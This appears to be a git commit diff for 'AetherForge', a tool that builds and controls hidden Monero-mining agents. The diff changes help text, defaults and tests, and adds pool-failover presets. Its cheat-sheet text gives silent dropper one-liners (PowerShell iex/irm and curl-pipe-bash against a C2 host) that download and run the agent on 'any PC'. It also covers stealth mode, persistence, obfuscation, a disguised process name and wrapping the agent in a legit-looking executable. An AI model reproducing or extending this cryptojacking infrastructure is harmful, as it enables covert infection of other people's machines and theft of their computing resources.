Add pool presets, operator bake-ins, and USB pack improvements
- Pool preset checkboxes with failover in Calibrate and Forge - Tier 1/2 UX: setup banner, forge next worker, LAN defaults, blueprint prompt - USB: auto-install forge tools, seed config.json, sync LAUNCH.bat
This commit is contained in:
@@ -90,9 +90,9 @@ describe('FORGE_VS_CALIBRATE', () => {
|
||||
});
|
||||
|
||||
describe('NETWORK_GUIDE', () => {
|
||||
it('has five network topology steps with unique ids', () => {
|
||||
expect(NETWORK_GUIDE).toHaveLength(5);
|
||||
expect(NETWORK_GUIDE.map((s) => s.id)).toEqual(['n1', 'n2', 'n3', 'n4', 'n5']);
|
||||
it('has four LAN network steps with unique ids', () => {
|
||||
expect(NETWORK_GUIDE).toHaveLength(4);
|
||||
expect(NETWORK_GUIDE.map((s) => s.id)).toEqual(['n1', 'n2', 'n3', 'n4']);
|
||||
assertSteps(NETWORK_GUIDE);
|
||||
});
|
||||
});
|
||||
@@ -163,7 +163,7 @@ describe('ROADMAP_FEATURES', () => {
|
||||
describe('CHEAT_SECTIONS', () => {
|
||||
const expectedSections = [
|
||||
{ id: 'pipeline', title: 'End-to-end pipeline' },
|
||||
{ id: 'network', title: 'Network topology — Cloudflare tunnel setup' },
|
||||
{ id: 'network', title: 'Network topology — LAN + USB' },
|
||||
{ id: 'fusion', title: 'Fusion workflow' },
|
||||
{ id: 'ai', title: 'AI Autonomy workflow' },
|
||||
{ id: 'troubleshoot', title: 'Troubleshooting' },
|
||||
|
||||
@@ -32,8 +32,8 @@ export const PIPELINE_STEPS: CheatStep[] = [
|
||||
route: '/settings',
|
||||
routeLabel: 'Open Calibrate',
|
||||
tips: [
|
||||
'Port default is 8080 — change if conflicting',
|
||||
'Leave Public URL blank when behind Cloudflare (server binds 0.0.0.0:PORT, CF handles external)',
|
||||
'Port default is 8989 — change if conflicting',
|
||||
'Set Public URL to your LAN address (Use detected LAN in Calibrate) so Forge pre-fills worker C2 URLs',
|
||||
'Set a default wallet address here so every new Forge form pre-fills it',
|
||||
'Build retention: how many days old builds stay on disk before auto-purge',
|
||||
],
|
||||
@@ -43,12 +43,12 @@ export const PIPELINE_STEPS: CheatStep[] = [
|
||||
title: 'Forge',
|
||||
subtitle: 'Build a worker binary',
|
||||
icon: '⚒',
|
||||
body: 'Every setting is compiled directly into the agent .exe — nothing is fetched at runtime. Fill in your C2 URL (e.g. your Cloudflare tunnel), wallet, pool, stealth mode, persistence, and hit FORGE INSTALLER.',
|
||||
body: 'Every setting is compiled directly into the agent .exe — nothing is fetched at runtime. Fill in your LAN control URL, wallet, pool, stealth mode, persistence, and hit FORGE INSTALLER.',
|
||||
route: '/forge',
|
||||
routeLabel: 'Open Forge',
|
||||
tips: [
|
||||
'C2 URL example: https://your-tunnel.trycloudflare.com (no trailing slash)',
|
||||
'For LAN-only: http://192.168.1.50:8080',
|
||||
'C2 URL example: http://192.168.1.50:8989 (LAN IP — not localhost)',
|
||||
'Use Calibrate → Use best defaults for TLS pool presets + detected LAN URL',
|
||||
'Preflight must be all-green (✓) or yellow (!) to forge — red (✕) blocks it',
|
||||
'Save a Blueprint after tuning so you can one-click re-forge the same config later',
|
||||
'Fusion: wrap the agent inside a legit-looking prep.exe so it looks like your real app',
|
||||
@@ -77,13 +77,13 @@ export const PIPELINE_STEPS: CheatStep[] = [
|
||||
icon: '📡',
|
||||
body: 'Send a single command to any PC and it silently downloads + runs the pinned build. The dropper auto-detects OS from User-Agent. Terminal closes automatically after launch.',
|
||||
tips: [
|
||||
'Windows (PowerShell): iex (irm \'https://your-tunnel.trycloudflare.com/install.ps1\')',
|
||||
'Linux/Mac (bash): curl -sL https://your-tunnel.trycloudflare.com/install.sh | bash',
|
||||
'Direct download: https://your-tunnel.trycloudflare.com/get?os=windows',
|
||||
'Windows (PowerShell): iex (irm \'http://192.168.1.50:8989/install.ps1\')',
|
||||
'Linux/Mac (bash): curl -sL http://192.168.1.50:8989/install.sh | bash',
|
||||
'Direct download: http://192.168.1.50:8989/get?os=windows',
|
||||
'Endpoints /get, /install.sh, /install.ps1 are unauthenticated — URL knowledge is the gate',
|
||||
'Pin the correct build in Build Manager before sending the one-liner',
|
||||
],
|
||||
code: `iex (irm 'https://YOUR-TUNNEL.trycloudflare.com/install.ps1')`,
|
||||
code: `iex (irm 'http://192.168.1.50:8989/install.ps1')`,
|
||||
},
|
||||
{
|
||||
id: 'connect',
|
||||
@@ -98,7 +98,7 @@ export const PIPELINE_STEPS: CheatStep[] = [
|
||||
'Remote action buttons are disabled when the agent is offline — by design',
|
||||
'Agent logs: use Fetch Log (get_log) in Remote Control, or AI upload_log tool reports — no separate log-ingest API',
|
||||
'If agent never appears: check C2 URL is reachable from the target machine',
|
||||
'Cloudflare tunnel on a different machine is fine — agent connects to the tunnel URL',
|
||||
'Agents must reach your LAN control URL — test from the target PC in a browser',
|
||||
'Worker name you set in Forge shows as the agent name in the roster',
|
||||
],
|
||||
},
|
||||
@@ -125,7 +125,7 @@ export const FORGE_VS_CALIBRATE = {
|
||||
forge: {
|
||||
title: 'Forge — baked into each binary',
|
||||
items: [
|
||||
'C2 server URL (e.g. Cloudflare tunnel)',
|
||||
'C2 server URL (LAN http://IP:8989)',
|
||||
'Wallet address & payment ID',
|
||||
'Pool host, port, TLS on/off, pool password',
|
||||
'Worker name (shows in Fleet Roster)',
|
||||
@@ -147,7 +147,7 @@ export const FORGE_VS_CALIBRATE = {
|
||||
calibrate: {
|
||||
title: 'Calibrate — control server only',
|
||||
items: [
|
||||
'Listen port (default 8080)',
|
||||
'Listen port (default 8989)',
|
||||
'Data directory path',
|
||||
'Dashboard subtitle (cosmetic)',
|
||||
'Default pool/wallet shown in new Forge forms',
|
||||
@@ -163,21 +163,20 @@ export const FORGE_VS_CALIBRATE = {
|
||||
},
|
||||
};
|
||||
|
||||
// ─── Network / Cloudflare topology ────────────────────────────────────────────
|
||||
// ─── Network / LAN topology ───────────────────────────────────────────────────
|
||||
|
||||
export const NETWORK_GUIDE: CheatStep[] = [
|
||||
{
|
||||
id: 'n1',
|
||||
title: 'Portable self-configuring tunnel',
|
||||
subtitle: 'Bundled into LAUNCH.bat',
|
||||
title: 'Portable control deck',
|
||||
subtitle: 'LAUNCH.bat',
|
||||
icon: '🚀',
|
||||
body: 'LAUNCH.bat detects and auto-installs cloudflared from the bundled MSI, writes a fresh config.yml every boot (handles drive-letter changes), stages credentials to the local machine, then starts the tunnel. Fully portable — plug into any machine and the tunnel comes up automatically.',
|
||||
body: 'LAUNCH.bat starts AetherForge.exe on 0.0.0.0:8989, opens the dashboard at localhost, and installs garble/go-winres into the portable toolchain when missing (for Forge on the USB PC).',
|
||||
tips: [
|
||||
'One-time setup only: see cloudflare/SETUP.txt to create your tunnel and export credentials',
|
||||
'After setup: drop credentials.json in the cloudflare/ folder — everything else is automatic',
|
||||
'Same machine: reuses existing credentials and skips re-copy (idempotent)',
|
||||
'cloudflared always connects to 127.0.0.1:8989 (localhost) — no IP detection needed',
|
||||
'On exit: LAUNCH.bat kills the cloudflared process cleanly',
|
||||
'Dashboard on this PC: http://localhost:8989',
|
||||
'Workers on other PCs need your LAN IP, not localhost',
|
||||
'First login: credentials print in the LAUNCH window or data\\login-credentials.json',
|
||||
'Run pack-usb.bat from the repo to refresh the portable bundle',
|
||||
],
|
||||
},
|
||||
{
|
||||
@@ -185,69 +184,48 @@ export const NETWORK_GUIDE: CheatStep[] = [
|
||||
title: 'C2 server binding',
|
||||
subtitle: '0.0.0.0:8989',
|
||||
icon: '🖥',
|
||||
body: 'AetherForge binds to all interfaces on port 8989. It does not know or care about Cloudflare — cloudflared connects to it at 127.0.0.1:8989. The server never needs to be publicly exposed directly.',
|
||||
body: 'AetherForge binds to all interfaces on port 8989. Calibrate stores your LAN URL so Forge and dropper one-liners use the right address for workers on your network.',
|
||||
tips: [
|
||||
'Leave Public URL blank in Calibrate — not needed',
|
||||
'Dashboard LAN access: http://<lan-ip>:8989',
|
||||
'Dashboard public access: https://killa.thetempleofdoom.com (via tunnel)',
|
||||
'LAN and tunnel both work simultaneously',
|
||||
'Calibrate → Use detected LAN → Save Calibration',
|
||||
'Dashboard on LAN: http://<lan-ip>:8989',
|
||||
'Open firewall on start (Calibrate) helps workers reach the deck',
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'n3',
|
||||
title: 'Named tunnel — permanent hostname',
|
||||
subtitle: 'killa.thetempleofdoom.com',
|
||||
icon: '☁',
|
||||
body: 'The tunnel is a named Cloudflare tunnel (not a quick/temporary tunnel). The subdomain killa.thetempleofdoom.com is a CNAME to your fixed tunnel ID — it never changes regardless of which machine you run from.',
|
||||
title: 'Forge C2 URL',
|
||||
subtitle: 'Bake LAN endpoint',
|
||||
icon: '🔗',
|
||||
body: 'Set Control Endpoint in Forge to your Calibrate public URL (LAN). Smart defaults also fill backup C2 URLs from other detected LAN IPs on this host.',
|
||||
tips: [
|
||||
'Tunnel credentials JSON = portable "license" for the tunnel',
|
||||
'Any machine with that JSON + cloudflared can run the tunnel',
|
||||
'DNS CNAME: killa → <tunnel-id>.cfargotunnel.com (set once in CF DNS)',
|
||||
'Tunnel ID is in the credentials.json — LAUNCH.bat parses it automatically',
|
||||
'Example: http://192.168.1.50:8989',
|
||||
'Never use localhost — workers cannot reach it',
|
||||
'Backup C2 URLs: other LAN IPs on the same control PC (auto-filled)',
|
||||
'Agents try primary then backup C2s if unreachable',
|
||||
],
|
||||
code: `# One-time setup (run once on any machine):
|
||||
cloudflared tunnel login
|
||||
cloudflared tunnel create aetherforge-c2
|
||||
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
|
||||
|
||||
# Then copy credentials to USB:
|
||||
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json`,
|
||||
code: `Control Endpoint: http://192.168.1.50:8989
|
||||
Backup C2 (optional): http://192.168.1.51:8989`,
|
||||
},
|
||||
{
|
||||
id: 'n4',
|
||||
title: 'Forge C2 URL',
|
||||
subtitle: 'Bake the permanent hostname',
|
||||
icon: '🔗',
|
||||
body: 'Set Control Endpoint in Forge to your permanent Cloudflare hostname. Baked into every agent — they connect from any network, any country, through the tunnel to your C2.',
|
||||
tips: [
|
||||
'Control Endpoint: https://killa.thetempleofdoom.com',
|
||||
'No port, no trailing slash',
|
||||
'Backup C2 field: add http://192.168.x.x:8989 as LAN fallback',
|
||||
'Agents try all C2s in order if one is unreachable',
|
||||
],
|
||||
code: `Control Endpoint: https://killa.thetempleofdoom.com
|
||||
Backup C2 (optional): http://192.168.1.50:8989`,
|
||||
},
|
||||
{
|
||||
id: 'n5',
|
||||
title: 'Dropper one-liners',
|
||||
subtitle: 'Permanent URLs — no more temp tunnels',
|
||||
subtitle: 'LAN scripts (+ optional tunnel)',
|
||||
icon: '💧',
|
||||
body: 'With a named tunnel and permanent hostname, your dropper one-liners never change. Pin a build in Build Manager then send one of these to any machine.',
|
||||
body: 'Pin a build in Build Manager, then use your LAN URL below. If you later run an external tunnel on another machine, point it to this host and replace the URL host in these commands.',
|
||||
tips: [
|
||||
'The PS1 dropper is fully silent — downloads, runs agent hidden, closes terminal',
|
||||
'/get?os=windows — direct binary, auto-detected OS if no ?os= param',
|
||||
'Endpoints are unauthenticated — the URL is the gate',
|
||||
'PS1 dropper is silent — downloads, runs agent, closes terminal',
|
||||
'/get?os=windows — direct binary download',
|
||||
'Dashboard requires login — dropper does not',
|
||||
'Optional: external tunnel machine forwards to this PC on port 8989',
|
||||
],
|
||||
code: `# Windows (any PowerShell):
|
||||
iex (irm 'https://killa.thetempleofdoom.com/install.ps1')
|
||||
code: `# Windows (PowerShell):
|
||||
iex (irm 'http://192.168.1.50:8989/install.ps1')
|
||||
|
||||
# Linux / macOS:
|
||||
curl -sL https://killa.thetempleofdoom.com/install.sh | bash
|
||||
curl -sL http://192.168.1.50:8989/install.sh | bash
|
||||
|
||||
# Direct binary:
|
||||
https://killa.thetempleofdoom.com/get`,
|
||||
http://192.168.1.50:8989/get`,
|
||||
},
|
||||
];
|
||||
|
||||
@@ -351,11 +329,11 @@ ollama run llama3.2`,
|
||||
export const TROUBLESHOOTING = [
|
||||
{
|
||||
problem: 'Agent never appears in Fleet Roster',
|
||||
fix: 'The C2 URL baked into the agent must be reachable from the target machine. If using Cloudflare tunnel: tunnel must be running on its machine and pointing at your C2 LAN IP. Test: open https://your-tunnel.trycloudflare.com in a browser on the target machine — you should see the dashboard login.',
|
||||
fix: 'The C2 URL baked into the agent must be reachable from the target machine. Use your LAN URL (http://192.168.x.x:8989), not localhost. Test: open that URL in a browser on the target machine — you should see the dashboard login.',
|
||||
},
|
||||
{
|
||||
problem: 'Forge blocked — server_url error',
|
||||
fix: 'Do NOT use localhost or 127.0.0.1 as the C2 URL (worker cannot reach those). Use your LAN IP (192.168.x.x:PORT) or your Cloudflare tunnel URL. The port appends automatically for LAN IPs — use the tunnel URL to avoid that.',
|
||||
fix: 'Do NOT use localhost or 127.0.0.1 as the C2 URL (workers cannot reach those). Use your LAN IP with port 8989, e.g. http://192.168.1.50:8989. Calibrate → Use detected LAN fills this for you.',
|
||||
},
|
||||
{
|
||||
problem: '0 hashrate / shares never appear',
|
||||
@@ -379,7 +357,7 @@ export const TROUBLESHOOTING = [
|
||||
},
|
||||
{
|
||||
problem: 'PS1 dropper does nothing / errors',
|
||||
fix: 'Open PowerShell as Admin. Run: Set-ExecutionPolicy Bypass -Scope Process then retry iex (irm \'...\'. Also ensure your Cloudflare tunnel is running and the pinned build exists in Build Manager.',
|
||||
fix: 'Open PowerShell as Admin. Run: Set-ExecutionPolicy Bypass -Scope Process then retry iex (irm \'...\'). Ensure the control server is running, the LAN URL is reachable from that PC, and the pinned build exists in Build Manager.',
|
||||
},
|
||||
{
|
||||
problem: 'Forge hangs / Kill Build button',
|
||||
@@ -433,8 +411,8 @@ export const CHEAT_SECTIONS: CheatSection[] = [
|
||||
},
|
||||
{
|
||||
id: 'network',
|
||||
title: 'Network topology — Cloudflare tunnel setup',
|
||||
description: 'AetherForge binds to 0.0.0.0:PORT. Cloudflare Tunnel runs on a separate machine and makes it reachable from anywhere — no port forwarding, no static IP.',
|
||||
title: 'Network topology — LAN + USB',
|
||||
description: 'AetherForge runs locally at localhost:8989 and binds 0.0.0.0:8989 for LAN workers. Optional external tunneling can be added on another machine later without changing local USB workflow.',
|
||||
steps: NETWORK_GUIDE,
|
||||
},
|
||||
{
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { FORGE_BUILD_DEFAULTS, DEFAULT_PUBLIC_TUNNEL, forgeDefaultsFromServer } from './forgeDefaults';
|
||||
import { FORGE_BUILD_DEFAULTS, forgeDefaultsFromServer } from './forgeDefaults';
|
||||
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
|
||||
|
||||
describe('FORGE_BUILD_DEFAULTS', () => {
|
||||
@@ -47,12 +47,12 @@ describe('forgeDefaultsFromServer', () => {
|
||||
expect(result.server_url).toBe('https://tunnel.example.com');
|
||||
});
|
||||
|
||||
it('falls back to baked tunnel URL when public_url is blank', () => {
|
||||
it('falls back to suggested LAN URL when public_url is blank', () => {
|
||||
const config = mockServerConfig({
|
||||
server: { public_url: ' ' },
|
||||
});
|
||||
const result = forgeDefaultsFromServer(config, mockServerInfo);
|
||||
expect(result.server_url).toBe(DEFAULT_PUBLIC_TUNNEL);
|
||||
expect(result.server_url).toBe(mockServerInfo.suggested_url);
|
||||
});
|
||||
|
||||
it('reflects obfuscate and sign defaults from server config', () => {
|
||||
|
||||
@@ -1,8 +1,5 @@
|
||||
import type { BuildRequest, ServerConfig, ServerInfo } from '../types';
|
||||
|
||||
/** Baked Cloudflare tunnel — used when Calibrate public_url is blank. */
|
||||
export const DEFAULT_PUBLIC_TUNNEL = 'https://killa.thetempleofdoom.com';
|
||||
|
||||
/** Defaults for a new forge build — not stored in Calibrate. */
|
||||
export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
BuildRequest,
|
||||
@@ -65,12 +62,18 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server
|
||||
return {
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
worker_name: '',
|
||||
server_url: publicUrl || DEFAULT_PUBLIC_TUNNEL || serverInfo.suggested_url,
|
||||
server_url: publicUrl || serverInfo.suggested_url || '',
|
||||
wallet: config.wallet.address,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
pool_pass: config.pool.password || 'x',
|
||||
backup_pools: (config.pool.backup_pools ?? []).map((bp) => ({
|
||||
host: bp.host,
|
||||
port: bp.port,
|
||||
tls: bp.use_tls,
|
||||
pass: config.pool.password || 'x',
|
||||
})),
|
||||
obfuscate: srv?.obfuscate_default ?? false,
|
||||
sign_build: srv?.sign_enabled ?? false,
|
||||
};
|
||||
|
||||
@@ -23,4 +23,18 @@ describe('forgeSmartDefaults', () => {
|
||||
expect(form.server_url).toBe('http://10.0.0.2:8989');
|
||||
expect(form.mining_mode).toBe('idle');
|
||||
});
|
||||
|
||||
it('fills backup C2 URLs from other LAN candidates', () => {
|
||||
const form = applySmartForgeDefaults(
|
||||
{ worker_name: 'w1', server_url: 'http://192.168.1.5:8989' } as BuildRequest,
|
||||
{
|
||||
endpointCandidates: [
|
||||
'http://192.168.1.5:8989',
|
||||
'http://10.0.0.2:8989',
|
||||
'http://10.0.0.2:8989',
|
||||
],
|
||||
}
|
||||
);
|
||||
expect(form.backup_server_urls).toEqual(['http://10.0.0.2:8989']);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -14,11 +14,25 @@ export function suggestWorkerName(existing: BuildRecord[]): string {
|
||||
return `worker-${Date.now().toString(36)}`;
|
||||
}
|
||||
|
||||
function sanitizeProcessName(workerName: string): string {
|
||||
export function processNameForWorker(workerName: string): string {
|
||||
const cleaned = workerName.replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||
return cleaned || 'RuntimeBrokerHelper';
|
||||
}
|
||||
|
||||
function backupServerUrlsFromLan(primary: string, candidates: string[]): string[] {
|
||||
const norm = (u: string) => u.trim().replace(/\/+$/, '');
|
||||
const primaryNorm = norm(primary);
|
||||
const seen = new Set<string>();
|
||||
const out: string[] = [];
|
||||
for (const c of candidates) {
|
||||
const n = norm(c);
|
||||
if (!n || n === primaryNorm || seen.has(n)) continue;
|
||||
seen.add(n);
|
||||
out.push(c.trim());
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function isGoodServerUrl(url: string): boolean {
|
||||
try {
|
||||
const u = new URL(url.trim());
|
||||
@@ -89,18 +103,23 @@ export function applySmartForgeDefaults(
|
||||
const preset = recommendedForgePreset();
|
||||
const worker = form.worker_name?.trim() || suggestWorkerName(ctx.builds ?? []);
|
||||
const serverUrl = pickBestServerUrl(form.server_url, ctx.endpointCandidates ?? []);
|
||||
const lanBackups =
|
||||
form.backup_server_urls?.length
|
||||
? form.backup_server_urls
|
||||
: backupServerUrlsFromLan(serverUrl, ctx.endpointCandidates ?? []);
|
||||
|
||||
return {
|
||||
...form,
|
||||
...preset,
|
||||
worker_name: worker,
|
||||
server_url: serverUrl,
|
||||
backup_server_urls: lanBackups,
|
||||
wallet: form.wallet?.trim() || form.wallet,
|
||||
pool_host: form.pool_host || preset.pool_host!,
|
||||
pool_port: form.pool_port || preset.pool_port!,
|
||||
pool_tls: form.pool_tls ?? preset.pool_tls!,
|
||||
pool_pass: form.pool_pass || preset.pool_pass!,
|
||||
process_name: sanitizeProcessName(worker),
|
||||
process_name: processNameForWorker(worker),
|
||||
obfuscate: form.obfuscate ?? preset.obfuscate ?? false,
|
||||
sign_build: form.sign_build ?? preset.sign_build ?? false,
|
||||
};
|
||||
@@ -123,6 +142,12 @@ export function forgeDefaultsFromServerSmart(
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
pool_pass: config.pool.password || 'x',
|
||||
backup_pools: (config.pool.backup_pools ?? []).map((bp) => ({
|
||||
host: bp.host,
|
||||
port: bp.port,
|
||||
tls: bp.use_tls,
|
||||
pass: config.pool.password || 'x',
|
||||
})),
|
||||
obfuscate: srv?.obfuscate_default ?? false,
|
||||
sign_build: srv?.sign_enabled ?? false,
|
||||
} as BuildRequest;
|
||||
|
||||
@@ -30,7 +30,7 @@ function isReachableServerUrl(url: string): boolean {
|
||||
}
|
||||
}
|
||||
|
||||
function looksLikeXMRWallet(addr: string): boolean {
|
||||
export function looksLikeXMRWallet(addr: string): boolean {
|
||||
const a = addr.trim();
|
||||
// Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars)
|
||||
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
|
||||
|
||||
40
server/web/src/help/poolPresets.test.ts
Normal file
40
server/web/src/help/poolPresets.test.ts
Normal file
@@ -0,0 +1,40 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
orderedPoolsFromSelection,
|
||||
detectPresetIds,
|
||||
applyPoolsToForgeFields,
|
||||
DEFAULT_PRESET_IDS,
|
||||
} from './poolPresets';
|
||||
|
||||
describe('poolPresets', () => {
|
||||
it('builds ordered failover list from preset ids', () => {
|
||||
const pools = orderedPoolsFromSelection([...DEFAULT_PRESET_IDS], 'x');
|
||||
expect(pools).toHaveLength(3);
|
||||
expect(pools[0].host).toBe('pool.supportxmr.com');
|
||||
expect(pools[1].host).toBe('gulf.moneroocean.stream');
|
||||
expect(pools[2].host).toBe('xmr.herominers.com');
|
||||
});
|
||||
|
||||
it('dedupes duplicate preset picks', () => {
|
||||
const pools = orderedPoolsFromSelection(['supportxmr-tls', 'supportxmr-tls'], 'x');
|
||||
expect(pools).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('detects preset ids from primary and backups', () => {
|
||||
const ids = detectPresetIds('pool.supportxmr.com', 443, true, [
|
||||
{ host: 'gulf.moneroocean.stream', port: 20128, tls: true },
|
||||
]);
|
||||
expect(ids).toContain('supportxmr-tls');
|
||||
expect(ids).toContain('moneroocean-tls');
|
||||
});
|
||||
|
||||
it('maps pools to forge primary and backup fields', () => {
|
||||
const fields = applyPoolsToForgeFields(
|
||||
orderedPoolsFromSelection(['2miners', 'xmrpool'], 'pw')
|
||||
);
|
||||
expect(fields.pool_host).toBe('xmr.2miners.com');
|
||||
expect(fields.pool_port).toBe(2222);
|
||||
expect(fields.backup_pools).toHaveLength(1);
|
||||
expect(fields.backup_pools![0].host).toBe('pool.xmrpool.eu');
|
||||
});
|
||||
});
|
||||
182
server/web/src/help/poolPresets.ts
Normal file
182
server/web/src/help/poolPresets.ts
Normal file
@@ -0,0 +1,182 @@
|
||||
import type { BackupPool } from '../types';
|
||||
|
||||
/** One connectable Stratum endpoint (wallet-only Monero pools). */
|
||||
export interface PoolPreset {
|
||||
id: string;
|
||||
provider: string;
|
||||
host: string;
|
||||
port: number;
|
||||
tls: boolean;
|
||||
hint: string;
|
||||
}
|
||||
|
||||
/** Western-US friendly presets — TLS variant preferred per provider. */
|
||||
export const XMR_POOL_PRESETS: PoolPreset[] = [
|
||||
{
|
||||
id: 'moneroocean-tls',
|
||||
provider: 'MoneroOcean',
|
||||
host: 'gulf.moneroocean.stream',
|
||||
port: 20128,
|
||||
tls: true,
|
||||
hint: 'gulf TLS :20128',
|
||||
},
|
||||
{
|
||||
id: 'moneroocean',
|
||||
provider: 'MoneroOcean',
|
||||
host: 'gulf.moneroocean.stream',
|
||||
port: 10128,
|
||||
tls: false,
|
||||
hint: 'gulf plain :10128',
|
||||
},
|
||||
{
|
||||
id: 'supportxmr-tls',
|
||||
provider: 'SupportXMR',
|
||||
host: 'pool.supportxmr.com',
|
||||
port: 443,
|
||||
tls: true,
|
||||
hint: ':443 TLS',
|
||||
},
|
||||
{
|
||||
id: 'supportxmr',
|
||||
provider: 'SupportXMR',
|
||||
host: 'pool.supportxmr.com',
|
||||
port: 3333,
|
||||
tls: false,
|
||||
hint: ':3333',
|
||||
},
|
||||
{
|
||||
id: 'herominers-tls',
|
||||
provider: 'HeroMiners',
|
||||
host: 'xmr.herominers.com',
|
||||
port: 1120,
|
||||
tls: true,
|
||||
hint: ':1120 TLS',
|
||||
},
|
||||
{
|
||||
id: 'herominers',
|
||||
provider: 'HeroMiners',
|
||||
host: 'xmr.herominers.com',
|
||||
port: 1111,
|
||||
tls: false,
|
||||
hint: ':1111',
|
||||
},
|
||||
{
|
||||
id: '2miners',
|
||||
provider: '2Miners',
|
||||
host: 'xmr.2miners.com',
|
||||
port: 2222,
|
||||
tls: false,
|
||||
hint: ':2222',
|
||||
},
|
||||
{
|
||||
id: 'xmrpool',
|
||||
provider: 'XMRPool.eu',
|
||||
host: 'pool.xmrpool.eu',
|
||||
port: 3333,
|
||||
tls: false,
|
||||
hint: ':3333',
|
||||
},
|
||||
];
|
||||
|
||||
export const DEFAULT_PRESET_IDS = ['supportxmr-tls', 'moneroocean-tls', 'herominers-tls'] as const;
|
||||
|
||||
function endpointKey(host: string, port: number, tls: boolean): string {
|
||||
return `${host.trim().toLowerCase()}:${port}:${tls ? '1' : '0'}`;
|
||||
}
|
||||
|
||||
export function presetToBackupPool(p: PoolPreset, pass = 'x'): BackupPool {
|
||||
return { host: p.host, port: p.port, tls: p.tls, pass };
|
||||
}
|
||||
|
||||
/** Ordered endpoints: first = primary, rest = failover (round-robin on reconnect). */
|
||||
export function orderedPoolsFromSelection(
|
||||
presetIds: string[],
|
||||
pass: string,
|
||||
custom?: BackupPool | null
|
||||
): BackupPool[] {
|
||||
const out: BackupPool[] = [];
|
||||
const seen = new Set<string>();
|
||||
for (const id of presetIds) {
|
||||
const preset = XMR_POOL_PRESETS.find((p) => p.id === id);
|
||||
if (!preset) continue;
|
||||
const key = endpointKey(preset.host, preset.port, preset.tls);
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
out.push(presetToBackupPool(preset, pass));
|
||||
}
|
||||
if (custom?.host?.trim() && custom.port > 0) {
|
||||
const key = endpointKey(custom.host, custom.port, !!custom.tls);
|
||||
if (!seen.has(key)) {
|
||||
out.push({
|
||||
host: custom.host.trim(),
|
||||
port: custom.port,
|
||||
tls: !!custom.tls,
|
||||
pass: custom.pass || pass || 'x',
|
||||
});
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
export function splitPrimaryAndBackups(pools: BackupPool[]): {
|
||||
primary: BackupPool | null;
|
||||
backups: BackupPool[];
|
||||
} {
|
||||
if (!pools.length) return { primary: null, backups: [] };
|
||||
return { primary: pools[0], backups: pools.slice(1) };
|
||||
}
|
||||
|
||||
export interface PoolForgeFields {
|
||||
pool_host: string;
|
||||
pool_port: number;
|
||||
pool_tls: boolean;
|
||||
backup_pools: BackupPool[];
|
||||
}
|
||||
|
||||
export function applyPoolsToForgeFields(pools: BackupPool[]): PoolForgeFields {
|
||||
const { primary, backups } = splitPrimaryAndBackups(pools);
|
||||
if (!primary) {
|
||||
return { pool_host: '', pool_port: 3333, pool_tls: false, backup_pools: [] };
|
||||
}
|
||||
return {
|
||||
pool_host: primary.host,
|
||||
pool_port: primary.port,
|
||||
pool_tls: primary.tls,
|
||||
backup_pools: backups ?? [],
|
||||
};
|
||||
}
|
||||
|
||||
/** Which preset IDs match the current primary + backup endpoints. */
|
||||
export function detectPresetIds(
|
||||
host: string,
|
||||
port: number,
|
||||
tls: boolean,
|
||||
backups: BackupPool[] = []
|
||||
): string[] {
|
||||
const keys = new Set<string>();
|
||||
keys.add(endpointKey(host, port, tls));
|
||||
for (const b of backups) {
|
||||
if (b.host && b.port > 0) keys.add(endpointKey(b.host, b.port, !!b.tls));
|
||||
}
|
||||
return XMR_POOL_PRESETS.filter((p) => keys.has(endpointKey(p.host, p.port, p.tls))).map((p) => p.id);
|
||||
}
|
||||
|
||||
/** Custom endpoint if it does not match any preset. */
|
||||
export function detectCustomEndpoint(
|
||||
host: string,
|
||||
port: number,
|
||||
tls: boolean,
|
||||
backups: BackupPool[] = []
|
||||
): BackupPool | null {
|
||||
const all = [{ host, port, tls }, ...backups.map((b) => ({ host: b.host, port: b.port, tls: !!b.tls }))];
|
||||
for (const ep of all) {
|
||||
if (!ep.host?.trim() || ep.port <= 0) continue;
|
||||
const matchesPreset = XMR_POOL_PRESETS.some(
|
||||
(p) => endpointKey(p.host, p.port, p.tls) === endpointKey(ep.host, ep.port, ep.tls)
|
||||
);
|
||||
if (!matchesPreset) {
|
||||
return { host: ep.host.trim(), port: ep.port, tls: ep.tls };
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
26
server/web/src/help/setupStatus.test.ts
Normal file
26
server/web/src/help/setupStatus.test.ts
Normal file
@@ -0,0 +1,26 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { getSetupStatus } from './setupStatus';
|
||||
import { mockServerConfig } from '../test/fixtures';
|
||||
|
||||
describe('getSetupStatus', () => {
|
||||
it('flags empty wallet and blank public URL', () => {
|
||||
const status = getSetupStatus(
|
||||
mockServerConfig({ wallet: { address: '' }, server: { public_url: '' } })
|
||||
);
|
||||
expect(status.needsCalibration).toBe(true);
|
||||
expect(status.reasons.length).toBeGreaterThanOrEqual(2);
|
||||
});
|
||||
|
||||
it('passes when wallet and LAN URL are set', () => {
|
||||
const status = getSetupStatus(
|
||||
mockServerConfig({
|
||||
wallet: {
|
||||
address:
|
||||
'4' + 'A'.repeat(94),
|
||||
},
|
||||
server: { public_url: 'http://192.168.1.5:8989' },
|
||||
})
|
||||
);
|
||||
expect(status.needsCalibration).toBe(false);
|
||||
});
|
||||
});
|
||||
40
server/web/src/help/setupStatus.ts
Normal file
40
